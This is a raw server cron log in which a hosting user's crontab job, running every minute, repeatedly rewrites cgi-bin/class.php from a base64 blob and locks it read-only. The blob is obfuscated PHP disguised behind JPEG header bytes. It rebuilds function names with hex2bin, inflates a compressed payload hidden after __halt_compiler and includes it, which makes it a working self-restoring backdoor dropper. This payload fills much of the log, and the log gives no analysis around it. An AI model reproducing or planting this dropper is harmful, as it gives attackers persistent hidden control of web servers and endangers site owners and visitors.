Sep  7 09:44:01 server CROND[5202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:44:01 server CROND[5204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:45:01 server CROND[5575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:45:01 server CROND[5576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:45:01 server CROND[5584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:45:01 server CROND[5581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:45:01 server CROND[5582]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:45:01 server CROND[5583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:45:01 server CROND[5585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:46:01 server CROND[6498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:46:01 server CROND[6499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:46:01 server CROND[6500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:47:02 server CROND[6888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:47:02 server CROND[6889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:47:02 server CROND[6890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:48:01 server CROND[7274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:48:01 server CROND[7273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:48:01 server CROND[7275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:49:01 server CROND[7644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:49:01 server CROND[7645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:49:01 server CROND[7646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:50:01 server CROND[8037]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:50:01 server CROND[8039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:50:01 server CROND[8042]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:50:01 server CROND[8046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:50:01 server CROND[8043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:50:01 server CROND[8050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:50:01 server CROND[8051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:50:01 server CROND[8048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:50:01 server CROND[8049]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:51:01 server CROND[8957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:51:01 server CROND[8958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:51:01 server CROND[8959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:52:01 server CROND[9329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:52:01 server CROND[9331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:52:01 server CROND[9330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:53:01 server CROND[9721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:53:01 server CROND[9722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:53:01 server CROND[9723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:54:01 server CROND[10150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:54:01 server CROND[10151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:54:01 server CROND[10152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:55:01 server CROND[10557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:55:01 server CROND[10558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:55:01 server CROND[10561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:55:01 server CROND[10563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:55:01 server CROND[10567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:55:01 server CROND[10565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:55:01 server CROND[10562]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:56:01 server CROND[11477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:56:01 server CROND[11478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
